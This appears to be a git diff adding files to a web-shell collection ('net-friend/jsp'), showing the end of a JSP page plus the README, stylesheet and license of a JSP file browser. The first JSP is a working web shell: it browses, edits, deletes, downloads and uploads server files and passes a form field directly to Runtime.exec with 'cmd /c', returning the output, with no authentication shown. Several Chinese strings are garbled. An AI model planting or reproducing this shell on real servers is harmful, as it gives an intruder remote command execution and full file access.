|
</script>
|
||||||
|
|
||||||
|
<title>index</title>
|
||||||
|
<head>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
|
||||||
|
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<br> δ<><CEB4><EFBFBD><EFBFBD>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br>
|
||||||
|
<p></p>
|
||||||
|
<p> </p>
|
||||||
|
<p> </p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td width="25%" align="center" valign="top">
|
||||||
|
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||||
|
<%=sbFolder%>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</td>
|
||||||
|
<td width="81%" align="left" valign="top">
|
||||||
|
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
<!-- <tr align="center">
|
||||||
|
<td colspan="4"><br>
|
||||||
|
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
|
||||||
|
KB </td>
|
||||||
|
</tr>
|
||||||
|
-->
|
||||||
|
</table>
|
||||||
|
</span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV>
|
||||||
|
</div>
|
||||||
|
<br><br>
|
||||||
|
<center>
|
||||||
|
|
||||||
1811
net-friend/jsp/job.jsp
Normal file
1811
net-friend/jsp/job.jsp
Normal file
File diff suppressed because it is too large
Load Diff
2344
net-friend/jsp/jspbrowser/1.jsp
Normal file
2344
net-friend/jsp/jspbrowser/1.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1778
net-friend/jsp/jspbrowser/2.jsp
Normal file
1778
net-friend/jsp/jspbrowser/2.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1934
net-friend/jsp/jspbrowser/Browser.jsp
Normal file
1934
net-friend/jsp/jspbrowser/Browser.jsp
Normal file
File diff suppressed because it is too large
Load Diff
279
net-friend/jsp/jspbrowser/Readme.txt
Normal file
279
net-friend/jsp/jspbrowser/Readme.txt
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
jsp File Browser version 1.2
|
||||||
|
--------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
------------------------IMPORTANT
|
||||||
|
|
||||||
|
With this jsp you can destroy important files on your system, it also could be
|
||||||
|
a serious security hole on your server.
|
||||||
|
Use this script only, if you know what you do. There is no warranty of any kind.
|
||||||
|
|
||||||
|
------------------------REQUIREMENTS
|
||||||
|
|
||||||
|
To use the File browser, you need a JSP1.1 compatible Web Server like Tomcat, Resin
|
||||||
|
or Jetty.
|
||||||
|
If you use the browser on webspace provided by an internet service provider,
|
||||||
|
it could be, that you are not allowed to go in some directories or execute
|
||||||
|
commands on the server, this will result in an exception.
|
||||||
|
|
||||||
|
------------------------INSTALLATION
|
||||||
|
|
||||||
|
Just copy the jsp file to any configured Web application. The author recommends to
|
||||||
|
protect the directory you copy the file into by password, to avoid abuse.
|
||||||
|
|
||||||
|
------------------------SETTINGS
|
||||||
|
|
||||||
|
If you want to change the standard style, you can create a css file in the directory
|
||||||
|
where Browser.jsp is located with the name "Browser.css". If you want choose another name
|
||||||
|
change this line in Browser.jsp:
|
||||||
|
private static final String CSS_NAME = "Browser.css";
|
||||||
|
For the syntax, look at the example css file.
|
||||||
|
|
||||||
|
If you click on a filename, the file will be opened in an new window. If you want that file
|
||||||
|
opened in your current window, change this line:
|
||||||
|
private static final boolean USE_POPUP = true;
|
||||||
|
to
|
||||||
|
private static final boolean USE_POPUP = false;
|
||||||
|
|
||||||
|
If you hold the mouse cursor over a directory name, a tooltip with
|
||||||
|
the first ten entries of this directory show up. This feature can lead to performance issues. If
|
||||||
|
you observe slow loading times you should change this line:
|
||||||
|
private static final boolean USE_DIR_PREVIEW = true;
|
||||||
|
to
|
||||||
|
private static final boolean USE_DIR_PREVIEW = false;
|
||||||
|
|
||||||
|
You could also change the number of entries in the preview by changing this line:
|
||||||
|
private static final int DIR_PREVIEW_NUMBER = 10;
|
||||||
|
|
||||||
|
If you would like to execute commands on the server, you have to specify a
|
||||||
|
command line interpreter and the parameter to execute a command.
|
||||||
|
This is the parameter for windows:
|
||||||
|
private static final String[] COMMAND_INTERPRETER = {"cmd","/C"};
|
||||||
|
|
||||||
|
The maximum time in ms a command is allowed to run before it will be terminated is specified
|
||||||
|
by this line:
|
||||||
|
private static final long MAX_PROCESS_RUNNING_TIME = 30000;
|
||||||
|
|
||||||
|
You can restrict file browsing and manipulation by setting
|
||||||
|
private static final boolean RESTRICT_BROWSING = true;
|
||||||
|
You can choose between whitelist restriction, that means the user is allowed to browse only in
|
||||||
|
directories, which are lower than RESTRICT_PATH, or blacklist restriction, which allows
|
||||||
|
the user to access all directories besides RESTRICT_PATH.
|
||||||
|
private static final boolean RESTRICT_WHITELIST = true;
|
||||||
|
You can set more than one directory in RESTRICT_PATH, seperated by semicolon.
|
||||||
|
|
||||||
|
It is also possible to make the file browser read-only. All operations which change the
|
||||||
|
file structure (besides upload and native command execution) are forbidden and turned off.
|
||||||
|
To achieve this change
|
||||||
|
private static final boolean READ_ONLY = false;
|
||||||
|
to
|
||||||
|
private static final boolean READ_ONLY = true;
|
||||||
|
.
|
||||||
|
|
||||||
|
You can also turn off upload with
|
||||||
|
private static final boolean ALLOW_UPLOAD = false; .
|
||||||
|
|
||||||
|
If you restrict file access it is also recommend to forbid native command execution by
|
||||||
|
changing
|
||||||
|
private static final boolean NATIVE_COMMANDS = true;
|
||||||
|
to
|
||||||
|
private static final boolean NATIVE_COMMANDS = false;
|
||||||
|
.
|
||||||
|
|
||||||
|
------------------------USAGE
|
||||||
|
|
||||||
|
This JSP program allows remote web-based file access and manipulation.
|
||||||
|
You can copy, create, move, rename and delete files.
|
||||||
|
Text files can be edited and groups of files and folders can be downloaded
|
||||||
|
as a single zip file that is created on the fly.
|
||||||
|
|
||||||
|
http://server/webapp/Browser.jsp
|
||||||
|
or
|
||||||
|
http://server/webapp/Browser.jsp?dir=[Directory on the server]
|
||||||
|
|
||||||
|
You do not need a javascript capable browser, but it looks nicer with it.
|
||||||
|
|
||||||
|
If you want to copy or move a file, please enter the target directory name in the
|
||||||
|
edit field (absolute or relative). If you want to create a new file or directory,
|
||||||
|
enter the name in the edit field.
|
||||||
|
|
||||||
|
If you click on a header name (e.g. size) the entries will be sorted by this property.
|
||||||
|
If you click two times, they will be sorted descending.
|
||||||
|
|
||||||
|
The button "Download as zip" let you download the selected directories and files packed as
|
||||||
|
one zip file.
|
||||||
|
|
||||||
|
The buttons "Delete Files", "Move Files", "Copy Files", delete, move and copy also selected
|
||||||
|
directories with subdirectories.
|
||||||
|
|
||||||
|
If you click on a .zip or .jar filename, you will see the entries of the packed file.
|
||||||
|
You can unpack .zip, .jar and .gz direct on the server. For this filetype the entry in the
|
||||||
|
last column is "Unpack". If you click at the "Unpack" link, the file will be unpacked in
|
||||||
|
the current folder. Note, that you can only unpack a file, if no entry of the packed file
|
||||||
|
already exist in the directory (no overwriting). If you want to unpack this file, you have
|
||||||
|
to delete the files on the server which correspond to the entries. This feature is very useful,
|
||||||
|
if you would like to upload more than one file. Zip the files together on your computer,
|
||||||
|
then upload the zip file and extract it on the server.
|
||||||
|
|
||||||
|
You can execute commands on the server (if you are allowed to) by clicking the "Launch command"
|
||||||
|
button, but beware that you cannot interact with the program. If the execution time of the program
|
||||||
|
is longer than MAX_PROCESS_RUNNING_TIME (standard: 30 sec.) the program will be killed.
|
||||||
|
|
||||||
|
If you click on a file, it will be shown, if the MIME Type is supported.
|
||||||
|
The following MIME Types are supported:
|
||||||
|
|
||||||
|
.png image/png
|
||||||
|
.jpg, .jpeg image/jpeg
|
||||||
|
.gif image/gif
|
||||||
|
.tiff image/tiff
|
||||||
|
.svg image/svg+xml
|
||||||
|
.pdf application/pdf
|
||||||
|
.htm, .html, .shtml text/html
|
||||||
|
.xml text/xml
|
||||||
|
.avi video/x-msvideo
|
||||||
|
.mov video/quicktime
|
||||||
|
.mpg, .mpeg, .mpe video/mpeg
|
||||||
|
.rtf application/rtf
|
||||||
|
.mid, .midi, audio/x-midi
|
||||||
|
.xl,.xls,.xlv,.xla,.xlb,.xlt,.xlm,.xlk application/excel
|
||||||
|
.doc, .dot application/msword
|
||||||
|
.mp3 audio/mp3
|
||||||
|
.ogg audio/ogg
|
||||||
|
else text/plain
|
||||||
|
|
||||||
|
------------------------SHORTKEYS
|
||||||
|
|
||||||
|
You can use the following shortkeys for better handling:
|
||||||
|
|
||||||
|
r Rename file
|
||||||
|
m Move file
|
||||||
|
y Copy file
|
||||||
|
Del Delete file
|
||||||
|
l Launch command
|
||||||
|
z Download selected files as zip
|
||||||
|
c Create file
|
||||||
|
d Create directory
|
||||||
|
|
||||||
|
------------------------KNOWN BUGS
|
||||||
|
|
||||||
|
The JVM from windows will sometimes displays a message box on the server,
|
||||||
|
if you try to access an empty removable drive. There will be no respond from
|
||||||
|
the server until the message box is closed.
|
||||||
|
If someone knows how to fix this, please write me a mail.
|
||||||
|
Removable drives will not be shown on the list, if you add them to this
|
||||||
|
property:
|
||||||
|
|
||||||
|
private static final String[] FORBIDDEN_DRIVES= {"a:\\"}
|
||||||
|
like e.g.
|
||||||
|
private static final String[] FORBIDDEN_DRIVES= {"a:\\", "d:\\", "e:\\"}
|
||||||
|
|
||||||
|
------------------------CONTACT
|
||||||
|
|
||||||
|
Boris von Loesch
|
||||||
|
boris@vonloesch.de
|
||||||
|
|
||||||
|
------------------------CHANGELOG
|
||||||
|
1.2 (21.07.2006)
|
||||||
|
- Shortkeys
|
||||||
|
- Filter file table
|
||||||
|
- Fix a bug which appears with Tomcat
|
||||||
|
- Add parameter to turn jsp filebrowser to a read-only version
|
||||||
|
- Add parameter to disallow uploads (even in the read-only version)
|
||||||
|
- Nicer layout
|
||||||
|
- Javascript will now be cached by the browser therefore smaller page size
|
||||||
|
- Turned off directory preview by default, because it uses too much resources
|
||||||
|
|
||||||
|
1.1a (27.08.2004)
|
||||||
|
- killed a bug, which appears if you view or download files
|
||||||
|
- fix upload time display
|
||||||
|
|
||||||
|
1.1 (20.08.2004)
|
||||||
|
- Upload monitor
|
||||||
|
- Restrict file access
|
||||||
|
|
||||||
|
1.0 (13.04.2004)
|
||||||
|
- if you click two times on a table header, it will be sorted descending
|
||||||
|
- sort parameter is memorized
|
||||||
|
- bugfixes (14,11,15)
|
||||||
|
- added some mime types
|
||||||
|
|
||||||
|
1.0RC2 (02.02.2004)
|
||||||
|
- only bugfixes (3,4,6,9)
|
||||||
|
|
||||||
|
1.0RC1 (17.11.2003)
|
||||||
|
Thanks to David Cowan for code contribution (buffering), bug fixing and testing
|
||||||
|
- execute native shell commands
|
||||||
|
- quick change to lower directories paths
|
||||||
|
- solve homepath problem with Oracle oc4j
|
||||||
|
- remove two bugs in the upload routine
|
||||||
|
- add war file unpack and view support
|
||||||
|
- remove some html errors (page is now valid HTML 4.1 Transitional)
|
||||||
|
- add buffering for download of files and zip file creation, this increases the speed
|
||||||
|
|
||||||
|
0.6 (14.10.2003)
|
||||||
|
Thanks to David Levine for bug fixes
|
||||||
|
- Refactor parts of the code
|
||||||
|
- Viewing and unpacking of .zip, .jar and .gz files on the server
|
||||||
|
- Customizable layout via external css file (optional)
|
||||||
|
- Distinction between error and success messages
|
||||||
|
- Open File in a new window
|
||||||
|
- "Select all" checkbox
|
||||||
|
- More options
|
||||||
|
- Some small changes and bugfixes
|
||||||
|
|
||||||
|
0.5 (20.08.2003)
|
||||||
|
Greetings to Taylor Bastien who contributed a lot of code for this release
|
||||||
|
- Renaming of files
|
||||||
|
- File extension in an extra column
|
||||||
|
- variable filesize unit (bytes, KB or MB)
|
||||||
|
- Directory preview via tooltip (simple hold the mousecursor over a directory name and
|
||||||
|
a tooltip with the first ten entries will appear)
|
||||||
|
- Summary (number and size of all files in the current directory)
|
||||||
|
- Text editor can save files with dos/windows or unix line ending
|
||||||
|
- many small changes
|
||||||
|
|
||||||
|
0.4 (17.05.2003)
|
||||||
|
- It does not longer need a temporary directory !
|
||||||
|
- Jsp 1.1 compatible (works now also in Tomcat 3)
|
||||||
|
- The file editor can now save the edited file with a new name and can make a backup
|
||||||
|
- selected row is marked by color and the checkbox can be selected by click at any place in the row
|
||||||
|
(works only with Javascript)
|
||||||
|
- some new MIME types (xml, png, svg)
|
||||||
|
- unreadable files and directories are marked (not selectable)
|
||||||
|
- write protected files and directories are marked (italic)
|
||||||
|
- if no dir parameter is assigned, the home directory of the browser will be displayed
|
||||||
|
- some bugs killed
|
||||||
|
|
||||||
|
0.3
|
||||||
|
- Output is HTML 4.01 conform, should now be netscape>4 compatible
|
||||||
|
- Messages to indicate the status of an operation
|
||||||
|
- Many bugs killed
|
||||||
|
- Tooltips
|
||||||
|
|
||||||
|
0.2
|
||||||
|
- First release
|
||||||
|
|
||||||
|
CREDITS
|
||||||
|
Taylor Bastien
|
||||||
|
David Levine
|
||||||
|
David Cowan
|
||||||
|
Lieven Govaerts
|
||||||
|
|
||||||
|
LICENSE
|
||||||
|
|
||||||
|
jsp File browser
|
||||||
|
Copyright (C) 2003-2006 Boris von Loesch
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the
|
||||||
|
Free Software Foundation; either version 2 of the License, or (at your option)
|
||||||
|
any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along with
|
||||||
|
this program; if not, write to the
|
||||||
|
Free Software Foundation, Inc.,
|
||||||
|
59 Temple Place, Suite 330,
|
||||||
|
Boston, MA 02111-1307 USA
|
||||||
50
net-friend/jsp/jspbrowser/example-css.css
Normal file
50
net-friend/jsp/jspbrowser/example-css.css
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
input.button { background-color: #EF9C00;
|
||||||
|
color: #8C5900;
|
||||||
|
border: 2px outset #EF9C00; }
|
||||||
|
input.button:Hover { color: #444444 }
|
||||||
|
|
||||||
|
input { background-color:#FDEBCF;
|
||||||
|
border: 2px inset #FDEBCF }
|
||||||
|
|
||||||
|
table.filelist { background-color:#FDE2B8;
|
||||||
|
width:100%;
|
||||||
|
border:3px solid #ffffff }
|
||||||
|
th { background-color:#BC001D;
|
||||||
|
font-size: 10pt;
|
||||||
|
color:#022F55 }
|
||||||
|
|
||||||
|
tr.mouseout { background-color:#F5BA5C; }
|
||||||
|
tr.mouseout td {border:1px solid #F5BA5C;}
|
||||||
|
|
||||||
|
tr.mousein { background-color:#EF9C00; }
|
||||||
|
tr.mousein td { border-top:1px solid #3399ff;
|
||||||
|
border-bottom:1px solid #3399FF;
|
||||||
|
border-left:1px solid #EF9C00;
|
||||||
|
border-right:1px solid #EF9C00; }
|
||||||
|
tr.checked { background-color:#B57600 }
|
||||||
|
tr.checked td {border:1px solid #B57600;}
|
||||||
|
|
||||||
|
tr.mousechecked { background-color:#8C5900 }
|
||||||
|
tr.mousechecked td {border:1px solid #8C5900;}
|
||||||
|
|
||||||
|
td { font-family:Verdana, Arial, Helvetica, sans-serif;
|
||||||
|
font-size: 7pt;
|
||||||
|
color: #FFF5E8; }
|
||||||
|
|
||||||
|
td.message { background-color: #FFFF00;
|
||||||
|
color: #000000;
|
||||||
|
text-align:center;
|
||||||
|
font-weight:bold }
|
||||||
|
.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}
|
||||||
|
.formular2 {margin: 1px;}
|
||||||
|
|
||||||
|
A { text-decoration: none;
|
||||||
|
color: #005073
|
||||||
|
}
|
||||||
|
A:Hover { color : #022F55;
|
||||||
|
text-decoration : underline; }
|
||||||
|
BODY { font-family:Verdana, Arial, Helvetica, sans-serif;
|
||||||
|
font-size: 8pt;
|
||||||
|
color: #666666;
|
||||||
|
background-color: #FDE2B8;
|
||||||
|
}
|
||||||
222
net-friend/jsp/jspbrowser/gpl.txt
Normal file
222
net-friend/jsp/jspbrowser/gpl.txt
Normal file
@@ -0,0 +1,222 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
